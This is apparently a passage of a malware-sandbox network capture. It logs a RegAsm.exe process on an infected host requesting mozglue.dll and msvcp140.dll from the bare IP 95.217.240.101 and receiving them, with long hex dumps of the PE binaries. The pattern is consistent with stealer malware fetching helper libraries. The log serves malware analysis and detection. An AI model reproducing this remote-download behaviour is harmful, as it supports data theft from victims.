2024-05-15 18:36:08 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 01 89 5d 9c 8b 45 b8 03 85 30 ff ff ff 8b Data Ascii: }1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x]E0
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 07 00 83 c4 04 89 45 e8 ff 77 1c e8 42 90 Data Ascii: M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wPEwB
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f a3 d6 73 3b 8b 75 18 83 fe 02 73 33 8b 7d Data Ascii: 0C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwEs;us3}
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 cb 89 4d f0 8d 14 3e 81 c2 31 23 43 e4 0f Data Ascii: ^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?UuM>1#C
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 00 77 12 31 c0 81 f9 00 01 00 00 0f 93 c0 Data Ascii: }EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w w1
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 85 7c ff ff ff 00 00 00 00 c7 85 6c ff ff Data Ascii: $`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE\|l
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 f7 65 f0 89 95 28 ff ff ff 89 85 30 ff ff Data Ascii: eLXee0@eeeue0UEeeUeee $e(0
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 ff 8d 1c 18 89 7d e4 83 d3 00 0f 92 45 8c Data Ascii: MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE}E
2024-05-15 18:36:08 UTC	16384	IN	Data Raw: ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 28 ff ff ff 8b b5 04 ff ff ff 81 e6 ff ff Data Ascii: 0<48%8A)$(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49744	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:09 UTC	220	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Cache-Control: no-cache
2024-05-15 18:36:10 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:10 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-94750" Accept-Ranges: bytes
2024-05-15 18:36:10 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-05-15 18:36:10 UTC	16384	IN	Data Raw: ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 4c 00 00 00 00 c7 46 50 0f 00 00 00 c6 46 Data Ascii: A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPFLFPF
2024-05-15 18:36:10 UTC	16384	IN	Data Raw: 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff ff 56 e8 de bc ff ff 89 f1 89 fa e8 d5 f1 Data Ascii: PzEPWxP1`PHP$,FM1R'^_[]00L9tc<V
2024-05-15 18:36:11 UTC	16384	IN	Data Raw: 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 eb 51 89 f0 f7 e1 89 d1 c1 e9 05 89 c8 ba Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}LQ
2024-05-15 18:36:11 UTC	16384	IN	Data Raw: 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b 45 ec 89 46 08 e9 8b fe ff ff 68 a7 fa 07 Data Ascii: 1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSREEFh
2024-05-15 18:36:11 UTC	16384	IN	Data Raw: 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 Data Ascii: H) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) sUSWV
2024-05-15 18:36:11 UTC	16384	IN	Data Raw: 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 08 8b 7c 24 08 0f 83 b0 03 00 00 85 db 0f Data Ascii: D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4\|$
2024-05-15 18:36:11 UTC	16384	IN	Data Raw: 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 7c 24 08 8b 4b 08 89 0c 24 89 53 04 0f a4 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$\|$K$S
2024-05-15 18:36:11 UTC	16384	IN	Data Raw: 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 e2 fe 83 e1 01 09 d1 89 4e 04 89 30 8b 4b Data Ascii: XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKNN0K
2024-05-15 18:36:11 UTC	16384	IN	Data Raw: c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 0f 84 c2 09 00 00 80 60 04 fe 8b 4c 24 0c Data Ascii: rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H`L$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:12 UTC	221	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Cache-Control: no-cache
2024-05-15 18:36:13 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:12 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-6dde8" Accept-Ranges: bytes
